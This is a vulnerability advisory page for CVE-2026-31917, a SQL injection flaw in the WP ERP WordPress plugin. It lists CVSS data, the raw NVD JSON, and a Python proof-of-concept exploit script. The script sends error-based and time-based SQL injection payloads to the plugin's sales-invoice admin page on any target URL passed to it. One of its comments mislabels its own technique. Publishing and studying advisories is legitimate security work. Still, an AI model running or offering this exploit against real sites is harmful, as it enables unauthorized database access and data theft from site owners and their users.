Security Vulnerability Report
中文
CVE-2026-31917 CVSS 8.5 HIGH

CVE-2026-31917

Published: 2026-03-13 19:54:39
Last Modified: 2026-04-22 21:30:26

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in weDevs WP ERP erp allows SQL Injection.This issue affects WP ERP: from n/a through <= 1.16.10.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

WP ERP <= 1.16.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-31917 WP ERP SQL Injection PoC # Target: WordPress site with WP ERP plugin <= 1.16.10 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-31917 Uses boolean-based blind SQL injection technique """ # SQL injection payload - extracts database version vulnerable_param = "id" sql_payload = "1' AND (SELECT 7506 FROM(SELECT COUNT(*),CONCAT(0x7171787a71,(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),0x7171787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLUMNS GROUP BY x)a) AND '1'='1" # Normal request for comparison normal_url = f"{target_url}/wp-admin/admin.php?page=erp-sales-invoice&action=view&{vulnerable_param}=1" # Malicious request exploit_url = f"{target_url}/wp-admin/admin.php?page=erp-sales-invoice&action=view&{vulnerable_param}={sql_payload}" try: response_normal = requests.get(normal_url, timeout=10) response_exploit = requests.get(exploit_url, timeout=10) # Check for SQL error indicators if "Duplicate entry" in response_exploit.text or "sql" in response_exploit.text.lower(): print(f"[+] Target {target_url} is VULNERABLE to CVE-2026-31917") return True else: print(f"[-] Target {target_url} appears NOT vulnerable") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False def extract_data(target_url): """ Extract database information using time-based blind SQL injection """ # Example: Extract current database name time_payload = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) AND '1'='1" exploit_url = f"{target_url}/wp-admin/admin.php?page=erp-sales-invoice&action=view&id={time_payload}" try: print("[*] Sending time-based blind SQL injection payload...") response = requests.get(exploit_url, timeout=15) print("[+] Request completed - analyze response time for vulnerability confirmation") except requests.exceptions.Timeout: print("[+] Time-based injection confirmed - database is vulnerable!") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-31917.py <target_url>") print("Example: python cve-2026-31917.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31917", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:38.807", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in weDevs WP ERP erp allows SQL Injection.This issue affects WP ERP: from n/a through <= 1.16.10."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Incorrecta de Elementos Especiales utilizados en un Comando SQL ('Inyección SQL') en weDevs WP ERP erp permite la inyección SQL. Este problema afecta a WP ERP: desde n/a hasta &lt;= 1.16.10."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/erp/vulnerability/wordpress-wp-erp-plugin-1-16-10-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}